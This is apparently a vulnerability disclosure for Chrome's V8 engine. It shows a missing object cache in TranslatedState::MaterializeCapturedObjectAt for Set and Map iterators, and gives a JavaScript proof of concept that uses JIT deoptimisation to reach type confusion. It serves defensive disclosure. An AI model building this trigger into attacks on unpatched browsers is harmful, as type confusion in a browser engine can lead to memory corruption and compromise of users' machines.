Chrome: V8: TranslatedState::MaterializeCapturedObjectAt caching bug 




Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.
    case JS_SET_KEY_VALUE_ITERATOR_TYPE:
    case JS_SET_VALUE_ITERATOR_TYPE: {
      Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }
    case JS_MAP_KEY_ITERATOR_TYPE:
    case JS_MAP_KEY_VALUE_ITERATOR_TYPE:
    case JS_MAP_VALUE_ITERATOR_TYPE: {
      Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }

For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.

PoC:
function opt(b) {
    let iterator = new Set().values();
    iterator.x = 0;

    let arr = [iterator, iterator];
    if (b)
        return arr.slice();
}

for (let i = 0; i < 100000; i++)
    opt(false);

let res = opt(true);
let a = res[0];
let b = res[1];

print(a === b);  // false
a.x = 7;

print(b.x);  // 7

a.a = 1.1;  // transition
b.b = 0x1234;
a.a = 1.1;  // type confusion



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt